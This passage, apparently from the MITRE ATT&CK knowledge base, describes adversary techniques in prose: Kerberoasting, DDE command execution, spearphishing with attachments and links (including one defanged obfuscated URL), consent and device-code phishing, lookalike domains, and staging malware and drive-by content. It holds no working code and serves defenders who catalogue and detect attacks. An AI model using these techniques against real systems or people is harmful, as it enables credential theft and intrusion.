Adversaries may create, acquire, or steal code signing materials to sign their malware or tools. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. The certificates used during an operation may be created, acquired, or stolen by the adversary. Unlike Invalid Code Signature, this activity will result in a valid signature. Code signing to verify software on first run can be used on modern Windows and macOS systems. It is not used on Linux due to the decentralized nature of the platform. Code signing certificates may be used to bypass security policies that require signed code to execute on a system.
T1558.003 Steal or Forge Kerberos Tickets: Kerberoasting
Adversaries may abuse a valid Kerberos ticket-granting ticket (TGT) or sniff network traffic to obtain a ticket-granting service (TGS) ticket that may be vulnerable to Brute Force. Service principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service). Adversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC). Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline Brute Force attacks that may expose plaintext credentials. This same behavior could be executed using service tickets captured from network traffic. Cracked hashes may enable Persistence, Privilege Escalation, and Lateral Movement via access to Valid Accounts.
T1559.002 Inter-Process Communication: Dynamic Data Exchange
Adversaries may use Windows Dynamic Data Exchange (DDE) to execute arbitrary commands. DDE is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution. Object Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by Component Object Model, DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys. Microsoft Office documents can be poisoned with DDE commands, directly or through embedded files, and used to deliver execution via Phishing campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. Similarly, adversaries may infect payloads to execute applications and/or commands on a victim device by way of embedding DDE formulas within a CSV file intended to be opened through a Windows spreadsheet program. DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to a Command and Scripting Interpreter. DDE execution can be invoked remotely via Remote Services such as Distributed Component Object Model (DCOM).
T1566.001 Phishing: Spearphishing Attachment
Adversaries may send spearphishing emails with a malicious attachment in an attempt to gain access to victim systems. Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon User Execution to gain execution. Spearphishing may also involve social engineering techniques, such as posing as a trusted source. There are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one.
T1566.002 Phishing: Spearphishing Link
Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging User Execution. The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly. Additionally, adversaries may use seemingly benign links that abuse special characters to mimic legitimate websites (known as an "IDN homograph attack"). URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`. Adversaries may also utilize links to perform consent phishing, typically with OAuth 2.0 request URLs that when accepted by the user provide permissions/access for malicious applications, allowing adversaries to Steal Application Access Tokens. These stolen access tokens allow the adversary to perform various actions on behalf of the user via API calls. Adversaries may also utilize spearphishing links to Steal Application Access Tokens that grant immediate access to the victim environment. For example, a user may be lured through “consent phishing” into granting adversaries permissions/access via a malicious OAuth 2.0 request URL . Similarly, malicious links may also target device-based authorization, such as OAuth 2.0 device authorization grant flow which is typically used to authenticate devices without UIs/browsers. Known as “device code phishing,” an adversary may send a link that directs the victim to a malicious authorization page where the user is tricked into entering a code/credentials that produces a device token.
T1567.002 Exfiltration Over Web Service: Exfiltration to Cloud Storage
Adversaries may exfiltrate data to a cloud storage service rather than over their primary command and control channel. Cloud storage services allow for the storage, edit, and retrieval of data from a remote cloud storage server over the Internet. Examples of cloud storage services include Dropbox and Google Docs. Exfiltration to these cloud storage services can provide a significant amount of cover to the adversary if hosts within the network are already communicating with the service.
T1571 Non-Standard Port
Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088 or port 587 as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data. Adversaries may also make changes to victim systems to abuse non-standard ports. For example, Registry keys and other configuration settings can be used to modify protocol and port pairings.
T1583.001 Acquire Infrastructure: Domains
Adversaries may acquire domains that can be used during targeting. Domain names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free. Adversaries may use acquired domains for a variety of purposes, including for Phishing, Drive-by Compromise, and Command and Control. Adversaries may choose domains that are similar to legitimate domains, including through use of homoglyphs or use of a different top-level domain (TLD). Typosquatting may be used to aid in delivery of payloads via Drive-by Compromise. Adversaries may also use internationalized domain names (IDNs) and different character sets (e.g. Cyrillic, Greek, etc.) to execute "IDN homograph attacks," creating visually similar lookalike domains used to deliver malware to victim machines. Different URIs/URLs may also be dynamically generated to uniquely serve malicious content to victims (including one-time, single use domain names). Adversaries may also acquire and repurpose expired domains, which may be potentially already allowlisted/trusted by defenders based on an existing reputation/history. Domain registrars each maintain a publicly viewable database that displays contact information for every registered domain. Private WHOIS services display alternative information, such as their own company data, rather than the owner of the domain. Adversaries may use such private WHOIS services to obscure information about who owns a purchased domain. Adversaries may further interrupt efforts to track their infrastructure by using varied registration information and purchasing domains with different domain registrars.
T1583.006 Acquire Infrastructure: Web Services
Adversaries may register for web services that can be used during targeting. A variety of popular websites exist for adversaries to register for a web-based service that can be abused during later stages of the adversary lifecycle, such as during Command and Control (Web Service), Exfiltration Over Web Service, or Phishing. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, adversaries can make it difficult to physically tie back operations to them.
T1587.001 Develop Capabilities: Malware
Adversaries may develop malware and malware components that can be used during targeting. Building malicious software can include the development of payloads, droppers, post-compromise tools, backdoors (including backdoored images), packers, C2 protocols, and the creation of infected removable media. Adversaries may develop malware to support their operations, creating a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors. As with legitimate development efforts, different skill sets may be required for developing malware. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's malware development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the malware. Some aspects of malware development, such as C2 protocol development, may require adversaries to obtain additional infrastructure. For example, malware developed that will communicate with Twitter for C2, may require use of Web Services.
T1588.002 Obtain Capabilities: Tool
Adversaries may buy, steal, or download software tools that can be used during targeting. Tools can be open or closed source, free or commercial. A tool can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: PsExec). Tool acquisition can involve the procurement of commercial software licenses, including for red teaming tools such as Cobalt Strike. Commercial software may be obtained through purchase, stealing licenses (or licensed copies of the software), or cracking trial versions. Adversaries may obtain tools to support their operations, including to support execution of post-compromise behaviors. In addition to freely downloading or purchasing software, adversaries may steal software and/or software licenses from third-party entities (including other adversaries).
T1608.001 Stage Capabilities: Upload Malware
Adversaries may upload malware to third-party or adversary controlled infrastructure to make it accessible during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, and a variety of other malicious content. Adversaries may upload malware to support their operations, such as making a payload available to a victim network to enable Ingress Tool Transfer by placing it on an Internet accessible web server. Malware may be placed on infrastructure that was previously purchased/rented by the adversary (Acquire Infrastructure) or was otherwise compromised by them (Compromise Infrastructure). Malware can also be staged on web services, such as GitHub or Pastebin, or hosted on the InterPlanetary File System (IPFS), where decentralized content storage makes the removal of malicious files difficult. Adversaries may upload backdoored files, such as application binaries, virtual machine images, or container images, to third-party software stores or repositories (ex: GitHub, CNET, AWS Community AMIs, Docker Hub). By chance encounter, victims may directly download/install these backdoored files via User Execution. Masquerading may increase the chance of users mistakenly executing these files.
T1608.004 Stage Capabilities: Drive-by Target
Adversaries may prepare an operational environment to infect systems that visit a website over the normal course of browsing. Endpoint systems may be compromised through browsing to adversary controlled sites, as in Drive-by Compromise. In such cases, the user's web browser is typically targeted for exploitation (often not requiring any extra user interaction once landing on the site), but adversaries may also set up websites for non-exploitation behavior such as Application Access Token. Prior to Drive-by Compromise, adversaries must stage resources needed to deliver that exploit to users who browse to an adversary controlled site. Drive-by content can be staged on adversary controlled infrastructure that has been acquired (Acquire Infrastructure) or previously compromised (Compromise Infrastructure). Adversaries may upload or inject malicious web content, such as JavaScript, into websites. This may be done in a number of ways, including: * Inserting malicious scripts into web pages or other user controllable web content such as forum posts * Modifying script files served to websites from publicly writeable cloud storage buckets * Crafting malicious web advertisements and purchasing ad space on a website through legitimate ad providers (i.e., Malvertising) In addition to staging content to exploit a user's web browser, adversaries may also stage scripting content to profile the user's browser (as in Gather Victim Host Information) to ensure it is vulnerable prior to attempting exploitation. Websites compromised by an adversary and used to stage a drive-by may be ones visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is referred to a strategic web compromise or watering hole attack. Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure (Domains) to help facilitate Drive-by Compromise.

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